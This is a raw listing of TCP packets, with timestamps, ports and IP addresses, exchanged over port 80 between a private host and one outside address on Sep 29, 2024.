Sep 29, 2024 02:00:13.868360043 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868397951 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868401051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868433952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868447065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868463039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868473053 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868496895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868505955 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868531942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868537903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868566036 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868573904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868598938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868612051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868644953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868648052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868683100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868690968 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868729115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868731022 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868766069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868777990 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868799925 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868809938 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868834019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868843079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868868113 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868876934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868901968 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868910074 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868936062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868943930 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.868969917 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.868983030 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869002104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869010925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869035959 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869045019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869069099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869076967 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869102955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869108915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869138002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869151115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869170904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869178057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869199991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869211912 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869234085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869240046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869277000 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869280100 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869313002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869323015 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869348049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869358063 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869380951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869389057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869414091 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869421005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869445086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869455099 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869478941 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869484901 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869512081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869518995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869545937 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869551897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869579077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869587898 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869613886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869618893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869647980 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869656086 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869679928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869687080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869709015 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869716883 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869741917 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869750023 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869776011 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869781971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869812012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869817019 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869846106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869852066 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869882107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869887114 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869915962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869925022 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869950056 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869957924 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.869983912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.869993925 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870017052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870027065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870052099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870062113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870084047 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870100021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870116949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870129108 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870151043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870158911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870182991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870193005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870218992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870225906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870251894 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870265007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870285034 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.870292902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.870327950 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995176077 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995196104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995208025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995218039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995232105 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995237112 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995234966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995254040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995265007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995275974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995287895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995297909 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995306969 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995315075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995335102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995346069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995357037 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995362997 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995363951 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995363951 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995393038 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995393991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995399952 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995405912 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995417118 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995435953 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995450020 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995486975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995518923 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995553017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995588064 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995589972 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995620966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995628119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995639086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995649099 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995680094 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995680094 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995687008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995697021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995697975 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995707989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995735884 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995737076 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995745897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995757103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995768070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995779991 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995780945 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995810032 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995814085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995825052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995835066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995862007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995863914 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995872021 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995884895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995902061 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995909929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995927095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995938063 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995958090 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995966911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995966911 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995975018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.995985985 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.995999098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996009111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996018887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996028900 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996032000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996056080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996078968 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996102095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996112108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996124029 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996136904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996140003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996150017 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996160984 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996160984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996171951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996176004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996197939 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996205091 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996213913 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996216059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996242046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996258974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996264935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996295929 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996342897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996354103 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996364117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996376038 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996376991 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996396065 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996412992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996419907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996423960 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996434927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996448040 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996463060 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996467113 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996478081 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996480942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996490002 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996499062 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996516943 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996562958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996572971 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996584892 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996597052 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996602058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996613979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996623993 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996634007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996635914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996644974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996660948 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996684074 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996687889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996700048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996710062 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996721983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996721983 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996751070 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996781111 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996789932 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996800900 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996812105 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996822119 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996825933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996833086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996844053 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996848106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996867895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996896029 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996917009 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996927977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996937990 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996952057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.996953964 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996965885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.996982098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997010946 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997014046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997040987 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997050047 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997051954 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997062922 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997081995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997108936 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997109890 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997121096 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997137070 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997145891 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997163057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997176886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997183084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997188091 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997199059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997209072 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997212887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997224092 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997227907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997247934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997279882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997293949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997304916 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997315884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997323990 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997330904 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997334957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997355938 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997375965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997394085 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997412920 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997421026 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997431040 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997456074 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997476101 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997487068 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997507095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997523069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997534037 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997544050 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997550964 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997560024 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997571945 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997572899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997589111 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997590065 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997620106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997633934 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997644901 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997651100 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997657061 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997668028 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997678995 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997680902 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997714043 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997754097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997764111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997775078 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997792006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997821093 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997840881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997850895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997862101 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997872114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:13.997878075 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:13.997909069 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 29, 2024 02:00:14.083966970 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:14.083991051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:14.084007025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:14.084026098 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:14.084038019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 29, 2024 02:00:14.084050894 CEST	80	49704	185.215.113.37	192.168.2.5
